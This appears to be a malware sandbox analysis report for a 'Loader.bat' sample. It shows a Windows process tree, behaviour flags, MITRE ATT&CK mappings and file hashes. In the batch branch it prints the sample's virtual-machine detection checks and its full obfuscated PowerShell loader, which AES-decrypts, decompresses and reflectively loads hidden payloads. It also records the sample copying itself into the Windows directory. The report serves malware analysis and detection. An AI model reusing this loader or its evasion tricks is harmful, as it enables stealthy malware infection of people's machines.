C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1956

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2496

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2636

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2112

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://oceanwave.lol/
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd11023cb8,0x7ffd11023cc8,0x7ffd11023cd8
    3⤵
    PID:3468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1912 /prefetch:2
    3⤵
    PID:3896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2628 /prefetch:8
    3⤵
    PID:2320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
    3⤵
    PID:1196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1
    3⤵
    PID:4808
- - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5224 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:1
    3⤵
    PID:1860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3424 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:1
    3⤵
    PID:4276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1924,14211368527256018681,3432501653439779793,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5580 /prefetch:8
    3⤵
    - NTFS ADS
    - Suspicious behavior: EnumeratesProcesses
    PID:4304
- C:\Windows\System32\NOTEPAD.EXE
  "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Loader\Loader.bat
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Loader\Loader.bat" "
  2⤵
  PID:2944
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3876
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:2812
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
    3⤵
    PID:4316
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:1064
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
    3⤵
    PID:5040
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Users\Admin\Desktop\Loader\Loader.bat';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));
    3⤵
    PID:1456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2324
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2324 -s 1912
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:3120
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\Desktop\Loader\Loader.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:2720
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:924
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3420
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:1788
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
        5⤵
        
        PID:3400
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:3532
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
        5⤵
        
        PID:3560
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));
        5⤵
        
        PID:4088
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        
        PID:2708
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2708 -s 2512
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4120
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2708 -s 2564
        6⤵
        
        PID:5000
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:3276
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1780
- C:\Windows\$nya-onimai2\nQAhvv.exe
  "C:\Windows\$nya-onimai2\nQAhvv.exe"
  2⤵
  PID:4004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3492

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3836

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3884

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3984

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:5016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2648

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3108

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2200

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1368

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3912

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2068

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2684

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:664
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 408 -p 2324 -ip 2324
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4276
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 404 -p 2708 -ip 2708
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5060
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 596 -p 2708 -ip 2708
  2⤵
  PID:4976

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER.3387ad54-6fbc-4669-90c4-d3c2d679bcb2.tmp.txt

Filesize
13KB

MD5
d4c9ffd9548c6724a9c2e703a596f0bd

SHA1
cc891af58ef5c6b9410ad7ca083564552060b43b

SHA256
d9c568a776910a6fe7ed3de9416f59f46439f10c884a3960d7b3cfb0c3e4f3c1

SHA512
7f4c6b45c416dca92254350291adfedb0565ca6b0f587f5f6997916f60451f6d609157ef131e5c17595408b2b2a2f3a02653fd3f700a09e72ec0de428dfd7f49

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.427f9c64-e81c-46c3-9db2-1728f61d36b7.tmp.csv

Filesize
36KB

MD5
520064e256af5a53da86c53b0b67cc29

SHA1
1fcc0bc95adb1b1d534fceb9b57252625a9e68bb

SHA256
8c211c3b89401de03d307df435771859c671574aeb37b5ea28fd22769c751047

SHA512
8d048a626a182ea5e5532af1db7dac2ab7d1e00ee758c610e6b821650d70619f33e6f1259dc7ed0c6188ab247e8141a9cde8d74f8dc46d431c704aa39817f68b

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.4e17e249-c768-46c2-9d7a-fe3ef727cce3.tmp.txt

Filesize
13KB

MD5
909cac38d0199c4169556c74369a3283

SHA1
aee2bae9d0a1712638969a37786df6ae774d6b23

SHA256
22fc9a1f7efdccd62bdd24d8ab042f928c098fe285aedc81111862713cba1656

SHA512
4b15d242b25f472b8e393882f6d28bbfe3ab7a7fddf51ce3282b072f1233f8ebc98de44392e56cdc165198a23b8c02b1eceb40283c235e92797d66226004f0e6

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER.f84d57fd-108e-4e4a-bbf7-6a2f9e1505c4.tmp.csv

Filesize
36KB

MD5
5c31b7faabe36408eb54d6feff32a442

SHA1
02a968e46267e970fdf4b5bccaee4f21968a69b1

SHA256
c7b6321e70beab47b4ce25a4fb249243f232c70f3a5d3189e20dc57b59d3627b

SHA512
47135383df08f1203439b6ae83575f54b0a8c20765ee21ce4979c27dedf1170f1943089b13d8fa000cf76c25b7cc6123e9c73cb555e358d0d8efa5e9f94fdd47

Download Submit
